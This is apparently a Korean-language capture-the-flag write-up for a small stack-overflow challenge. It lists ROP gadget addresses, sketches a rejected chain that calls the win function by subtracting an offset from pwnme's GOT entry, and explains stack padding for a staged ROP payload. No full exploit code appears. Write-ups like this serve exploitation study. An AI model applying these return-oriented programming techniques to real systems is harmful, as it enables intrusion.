정말 할 것이 아무것도 안보이고 코드가 간단해서 뭐 할지 한참을 고민했다. 이럴 땐 가젯을 한번 봐야한다. 그리고 pwnme 함수에서 read 함수를 실행할 때 레지스터 상황도 봐주는 것이 좋다. overflow가 생각보다 크게 안나기 때문에 레지스터 값을 굳이 안바꾸어줘도 되는 것은 안바꾸어주기 위해서이다.
0x0000000000401184: pop r12; pop r13; pop r14; pop r15; ret; 0x0000000000401186: pop r13; pop r14; pop r15; ret; 0x0000000000401188: pop r14; pop r15; ret; 0x000000000040118a: pop r15; ret; 0x0000000000401183: pop rbp; pop r12; pop r13; pop r14; pop r15; ret; 0x0000000000401187: pop rbp; pop r14; pop r15; ret; 0x0000000000401109: pop rbp; ret; 0x000000000040118b: pop rdi; ret; 0x0000000000401189: pop rsi; pop r15; ret; 0x0000000000401185: pop rsp; pop r13; pop r14; pop r15; ret; 0x0000000000401010: call rax; 0x0000000000401191: mov rax, qword ptr [rdi]; ret; 0x0000000000401192: mov eax, dwocrd ptr [rdi]; ret; 0x00000000004011b2: sub rax, rsi; ret;
Worng Idea
처음에 뭔가 수상한 가젯들 보고 아래와 같이 실행시키겠다는 가설을 세웠다. pwnme@got와 win 함수의 오프셋을 구해서 libc leak 없이 라이브러리 함수를 실행시킬 것이다.
1 2 3 4 5 6 7 8 9 10
// 0x000000000040118b: pop rdi; ret; rdi = pwnme.got // mov rax, qword ptr [rdi]; ret; rax = &pwnme // 0x0000000000401189: pop rsi; pop r15; ret; rsi = X // 0x00000000004011b2: sub rax, rsi; ret; rax = &pwnme - X // 0x0000000000401010: call rax; rip = &pwnme - X (win)
spill 함수에서 payload에 a*0x10을 추가해준 이유가 pwnme 함수에서 sub rsp, 10h 인스트럭션을 수행하기 때문에 넣어줬다. payload를 순서대로 겹치는 것 없이 정렬시켜줘야하기 때문이다. pop1을 한 이유는 저 스택 상황에서 보이는게 0x4141414141414141였기 때문에 하나 빼주고 rsp를 내려줬다.
아래는 spill 함수에서 pause()를 이용하여 pwnme 함수의 read에 입력을 보낸 후 rsp를 출력한 상황이다. rop_payload1를 보낼 때 캡쳐했다.
빨간색: pwnme 함수에서 sub rsp, 10h인스트럭션을 수행하여 rsp가 더 높아졌다.
노란색: read 함수에서의 buf 원래 사이즈 + rbp
파란색: payload를 적기 위해 스택 공간을 넓히기 위해 sub rsp, 18h을 수행해야 한다.
연두색: rop_payload가 제대로 이어지기 위해 offset을 맞춰주기 위한 dummy이다.
주황색: 스택 공간이 넓어졌고, 나머지 rop_payload를 써야하는 공간이다. 뒤에도 rop_payload가 적혀있는데 이것과 이어져서 써줘야 한다. 그래서 연두색이 이 이어지기 위한 offset을 맞추기 위한 dummy가 들어가야 한다.
스택에 rop_payload를 다 적어주고 ret를 여러번 실행시켜서 rsp를 rop_payload 있는 곳까지 내려서 실행시키면 끝이다.